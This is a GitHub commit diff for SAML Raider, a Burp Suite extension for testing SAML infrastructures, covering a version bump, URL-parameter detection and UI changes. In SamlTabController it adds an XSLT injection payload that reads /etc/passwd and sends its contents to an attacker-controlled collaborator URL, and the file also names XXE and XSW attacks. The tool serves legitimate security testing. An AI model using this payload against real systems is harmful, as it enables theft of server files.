Skip to content

Commit 7ab0b8e

Browse files
Merge branch 'CompassSecurity-master'
2 parents 77ddbe1 + 8cbd6ff commit 7ab0b8e

17 files changed

+798
-908
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
.DS_Store
12
.gradle
23
.idea
34
build

BappManifest.bmf

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,12 @@ Uuid: c61cfa893bb14db4b01775554f7b802e
22
ExtensionType: 1
33
Name: SAML Raider
44
RepoName: saml-raider
5-
ScreenVersion: 2.0.2
6-
SerialVersion: 17
5+
ScreenVersion: 2.1.0
6+
SerialVersion: 18
77
MinPlatformVersion: 16
88
ProOnly: False
99
Author: Roland Bischofberger / Emanuel Duss / Tobias Hort-Giess
1010
ShortDescription: Provides a SAML message editor and a certificate management tool to help with testing SAML infrastructures.
11-
EntryPoint: build/libs/saml-raider-2.0.2.jar
11+
EntryPoint: build/libs/saml-raider-2.1.0.jar
1212
BuildCommand: ./gradlew jar
1313
SupportedProducts: Pro, Community

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ Don't forget to rate our extension with as many stars you like :smile:.
7979
### Manual Installation
8080

8181
First, download the latest SAML Raider version:
82-
[saml-raider-2.0.2.jar](https://github.com/SAMLRaider/SAMLRaider/releases/download/v2.0.2/saml-raider-2.0.2.jar).
82+
[saml-raider-2.1.0.jar](https://github.com/SAMLRaider/SAMLRaider/releases/download/v2.1.0/saml-raider-2.1.0.jar).
8383
Then, start Burp Suite and click in the `Extensions` tab on `Add`. Choose the
8484
SAML Raider JAR file to install it and you are ready to go.
8585

build.gradle

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ plugins {
22
id "java-library"
33
}
44

5-
version = "2.0.2"
5+
version = "2.1.0"
66

77
repositories {
88
mavenCentral()
@@ -14,6 +14,7 @@ compileJava {
1414
}
1515

1616
dependencies {
17+
compileOnly libs.com.formdev.flatlaf
1718
compileOnly libs.net.portswigger.burp.extensions.montoya.api
1819
compileOnly libs.org.bouncycastle.bcpkix.jdk15on
1920

gradle/libs.versions.toml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
[versions]
2+
com-formdev-flatlaf = "3.5.2"
23
com-google-guava = "33.2.1-jre"
34
com-miglayout = "3.7.4"
45
com-sun-xml-security-xml-security-impl = "1.0"
@@ -9,6 +10,7 @@ org-junit-jupiter = "5.10.2"
910
xerces-xercesimpl = "2.12.2"
1011

1112
[libraries]
13+
com-formdev-flatlaf = { module = "com.formdev:flatlaf", version.ref = "com-formdev-flatlaf"}
1214
com-google-guava = { module = "com.google.guava:guava", version.ref = "com-google-guava"}
1315
com-miglayout = { module = "com.miglayout:miglayout", version.ref = "com-miglayout" }
1416
com-sun-xml-security-xml-security-impl = { module = "com.sun.xml.security:xml-security-impl", version.ref = "com-sun-xml-security-xml-security-impl" }

src/main/java/application/SamlMessageAnalyzer.java

Lines changed: 18 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,8 @@ public record SamlMessageAnalysisResult(
1717
boolean isWSSMessage,
1818
boolean isSAMLRequest,
1919
boolean isInflated,
20-
boolean isGZip) {
20+
boolean isGZip,
21+
boolean isURLParam) {
2122
}
2223

2324
public static SamlMessageAnalysisResult analyze(
@@ -32,6 +33,7 @@ public static SamlMessageAnalysisResult analyze(
3233
var isSAMLRequest = false;
3334
var isInflated = false;
3435
var isGZip = false;
36+
var isURLParam = false;
3537

3638
var xmlHelpers = new XMLHelpers();
3739
if (request.contentType() == ContentType.XML) {
@@ -59,16 +61,19 @@ else if (request.hasParameter("wresult", HttpParameterType.BODY)) {
5961
BurpExtender.api.logging().logToError(e);
6062
}
6163
} else {
62-
String requestParameter;
63-
requestParameter = request.parameterValue(samlResponseParameterName, HttpParameterType.BODY);
64-
if (requestParameter != null) {
65-
isSAMLMessage = true;
66-
}
67-
requestParameter = request.parameterValue(samlRequestParameterName, HttpParameterType.BODY);
68-
if (requestParameter != null) {
69-
isSAMLRequest = true;
70-
isSAMLMessage = true;
71-
}
64+
var samlResponseInBody = request.parameterValue(samlResponseParameterName, HttpParameterType.BODY);
65+
var samlResponseInUrl = request.parameterValue(samlResponseParameterName, HttpParameterType.URL);
66+
var samlRequestInBody = request.parameterValue(samlRequestParameterName, HttpParameterType.BODY);
67+
var samlRequestInUrl = request.parameterValue(samlRequestParameterName, HttpParameterType.URL);
68+
69+
isSAMLMessage =
70+
samlResponseInBody != null
71+
|| samlResponseInUrl != null
72+
|| samlRequestInBody != null
73+
|| samlRequestInUrl != null;
74+
75+
isSAMLRequest = samlRequestInBody != null || samlRequestInUrl != null;
76+
isURLParam = samlResponseInUrl != null || samlRequestInUrl != null;
7277
}
7378

7479
return new SamlMessageAnalysisResult(
@@ -78,7 +83,8 @@ else if (request.hasParameter("wresult", HttpParameterType.BODY)) {
7883
isWSSMessage,
7984
isSAMLRequest,
8085
isInflated,
81-
isGZip);
86+
isGZip,
87+
isURLParam);
8288
}
8389

8490
private SamlMessageAnalyzer() {

src/main/java/application/SamlTabController.java

Lines changed: 67 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -40,29 +40,25 @@
4040
import javax.xml.crypto.dsig.XMLSignatureException;
4141
import javax.xml.parsers.ParserConfigurationException;
4242
import model.BurpCertificate;
43-
import org.w3c.dom.DOMException;
44-
import org.w3c.dom.Document;
45-
import org.w3c.dom.Element;
46-
import org.w3c.dom.Node;
47-
import org.w3c.dom.NodeList;
43+
import org.w3c.dom.*;
4844
import org.xml.sax.SAXException;
4945

5046
import static java.util.Objects.requireNonNull;
5147

5248
public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Observer {
5349

54-
private static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found";
55-
private static final String XSW_ATTACK_APPLIED = "XSW Attack applied";
56-
private static final String XXE_CONTENT_APPLIED = "XXE content applied";
57-
private static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack";
58-
private static final String XSLT_CONTENT_APPLIED = "XSLT content applied";
59-
private static final String XML_NOT_SUITABLE_FOR_XLST = "This XML Message is not suitable for this particular XLST attack";
60-
private static final String XML_COULD_NOT_SIGN = "Could not sign XML";
61-
private static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML";
62-
private static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported";
63-
private static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?";
64-
private static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard";
65-
private static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file.";
50+
public static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found";
51+
public static final String XSW_ATTACK_APPLIED = "XSW Attack applied";
52+
public static final String XXE_CONTENT_APPLIED = "XXE content applied";
53+
public static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack";
54+
public static final String XSLT_CONTENT_APPLIED = "XSLT content applied";
55+
public static final String XML_NOT_SUITABLE_FOR_XSLT = "This XML Message is not suitable for this particular XSLT attack";
56+
public static final String XML_COULD_NOT_SIGN = "Could not sign XML";
57+
public static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML";
58+
public static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported";
59+
public static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?";
60+
public static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard";
61+
public static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file.";
6662

6763
private final CertificateTabController certificateTabController;
6864
private XMLHelpers xmlHelpers;
@@ -238,22 +234,24 @@ public void setRequestResponse(HttpRequestResponse requestResponse) {
238234
this.samlMessageAnalysisResult.isWSSUrlEncoded());
239235
this.samlMessage = decodedSAMLMessage.message();
240236
} else {
241-
String parameterValue;
237+
var httpParamType =
238+
this.samlMessageAnalysisResult.isURLParam()
239+
? HttpParameterType.URL
240+
: HttpParameterType.BODY;
242241

243-
if (this.samlMessageAnalysisResult.isSAMLRequest()) {
244-
parameterValue = requestResponse.request().parameterValue(certificateTabController.getSamlRequestParameterName(), HttpParameterType.BODY);
245-
} else {
246-
parameterValue = requestResponse.request().parameterValue(certificateTabController.getSamlResponseParameterName(), HttpParameterType.BODY);
247-
}
242+
var parameterValue =
243+
this.samlMessageAnalysisResult.isSAMLRequest()
244+
? requestResponse.request().parameterValue(certificateTabController.getSamlRequestParameterName(), httpParamType)
245+
: requestResponse.request().parameterValue(certificateTabController.getSamlResponseParameterName(), httpParamType);
248246

249247
var decodedSAMLMessage =
250248
SamlMessageDecoder.getDecodedSAMLMessage(
251249
parameterValue,
252250
this.samlMessageAnalysisResult.isWSSMessage(),
253251
this.samlMessageAnalysisResult.isWSSUrlEncoded());
252+
254253
this.samlMessage = decodedSAMLMessage.message();
255254
}
256-
257255
} catch (IOException e) {
258256
BurpExtender.api.logging().logToError(e);
259257
setInfoMessageText(XML_COULD_NOT_SERIALIZE);
@@ -339,9 +337,7 @@ public void removeSignature() {
339337
}
340338

341339
public void resetMessage() {
342-
if (isRawMode) {
343-
samlMessage = orgSAMLMessage;
344-
}
340+
samlMessage = orgSAMLMessage;
345341
textArea.setContents(ByteArray.byteArray(samlMessage));
346342
isEdited = false;
347343
}
@@ -430,11 +426,15 @@ public void resignMessage() {
430426
}
431427

432428
private void setInfoMessageText(String infoMessage) {
433-
samlGUI.getActionPanel().getInfoMessageLabel().setText(infoMessage);
429+
samlGUI.getActionPanel().getStatusMessageLabel().setText(infoMessage);
430+
}
431+
432+
public String getInfoMessageText() {
433+
return samlGUI.getActionPanel().getStatusMessageLabel().getText();
434434
}
435435

436436
private void resetInfoMessageText() {
437-
samlGUI.getActionPanel().getInfoMessageLabel().setText("");
437+
samlGUI.getActionPanel().getStatusMessageLabel().setText("");
438438
}
439439

440440
private void updateCertificateList() {
@@ -534,33 +534,45 @@ public void applyXXE(String collabUrl) {
534534
}
535535

536536
public void applyXSLT(String collabUrl) {
537-
String xslt = "\n" +
538-
"<ds:Transform>\n" +
539-
" <xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n" +
540-
" <xsl:template match=\"doc\">\n" +
541-
" <xsl:variable name=\"file\" select=\"'test'\"/>\n" +
542-
" <xsl:variable name=\"escaped\" select=\"encode-for-uri('$file')\"/>\n" +
543-
" <xsl:variable name=\"attackURL\" select=\"'" + collabUrl + "'\"/>\n" +
544-
" <xsl:variable name=\"exploitURL\" select=\"concat($attackerURL,$escaped)\"/>\n" +
545-
" <xsl:value-of select=\"unparsed-text($exploitURL)\"/>\n" +
546-
" </xsl:template>\n" +
547-
" </xsl:stylesheet>\n" +
548-
"</ds:Transform>";
549-
String transformString = "<ds:Transforms>";
537+
var prefixed = true;
538+
var transformString = "<ds:Transforms>";
539+
550540
int index = orgSAMLMessage.indexOf(transformString);
541+
if (index == -1) {
542+
prefixed = false;
543+
transformString = "<Transforms>";
544+
}
551545

546+
index = orgSAMLMessage.indexOf(transformString);
552547
if (index == -1) {
553-
setInfoMessageText(XML_NOT_SUITABLE_FOR_XLST);
554-
} else {
555-
int substringIndex = index + transformString.length();
556-
String firstPart = orgSAMLMessage.substring(0, substringIndex);
557-
String secondPart = orgSAMLMessage.substring(substringIndex);
558-
samlMessage = firstPart + xslt + secondPart;
559-
textArea.setContents(ByteArray.byteArray(samlMessage));
560-
isEdited = true;
561-
setRawMode(true);
562-
setInfoMessageText(XSLT_CONTENT_APPLIED);
548+
setInfoMessageText(XML_NOT_SUITABLE_FOR_XSLT);
549+
return;
563550
}
551+
552+
var prefix = prefixed ? "ds:" : "";
553+
var xslt = """
554+
555+
<%sTransform>
556+
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
557+
<xsl:template match="doc">
558+
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
559+
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
560+
<xsl:variable name="attackerUrl" select="'%s'"/>
561+
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
562+
<xsl:value-of select="unparsed-text($exploitUrl)"/>
563+
</xsl:template>
564+
</xsl:stylesheet>
565+
</%sTransform>
566+
""".formatted(prefix, collabUrl, prefix);
567+
568+
int substringIndex = index + transformString.length();
569+
String firstPart = orgSAMLMessage.substring(0, substringIndex);
570+
String secondPart = orgSAMLMessage.substring(substringIndex);
571+
samlMessage = firstPart + xslt + secondPart;
572+
textArea.setContents(ByteArray.byteArray(samlMessage));
573+
isEdited = true;
574+
setRawMode(true);
575+
setInfoMessageText(XSLT_CONTENT_APPLIED);
564576
}
565577

566578
public synchronized void addMatchAndReplace(String match, String replace) {
@@ -580,12 +592,14 @@ public void setGUIEditable(boolean editable) {
580592
}
581593

582594
public void showSignatureHelp() {
583-
SignatureHelpWindow window = new SignatureHelpWindow();
595+
var window = new SignatureHelpWindow();
596+
window.setLocationRelativeTo(BurpExtender.api.userInterface().swingUtils().suiteFrame());
584597
window.setVisible(true);
585598
}
586599

587600
public void showXSWHelp() {
588601
XSWHelpWindow window = new XSWHelpWindow();
602+
window.setLocationRelativeTo(BurpExtender.api.userInterface().swingUtils().suiteFrame());
589603
window.setVisible(true);
590604
}
591605

src/main/java/gui/CertificateTab.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package gui;
22

33
import application.CertificateTabController;
4+
import com.formdev.flatlaf.ui.FlatTreeUI;
45
import model.BurpCertificate;
56
import model.BurpCertificateBuilder;
67
import model.ObjectIdentifier;
@@ -146,6 +147,7 @@ public void actionPerformed(ActionEvent e) {
146147

147148
certificateTreeModel = new DefaultTreeModel(new DefaultMutableTreeNode("root"));
148149
certificateTree = new JTree(certificateTreeModel);
150+
certificateTree.setUI(new FlatTreeUI());
149151
certificateTree.setRootVisible(false);
150152
certificateTree.setShowsRootHandles(true);
151153
certificateTree.setCellRenderer((tree, value, selected, expanded, leaf, row, hasFocus) -> {

src/main/java/gui/ImagePanel.java

Lines changed: 0 additions & 52 deletions
This file was deleted.

0 commit comments

Comments
 (0)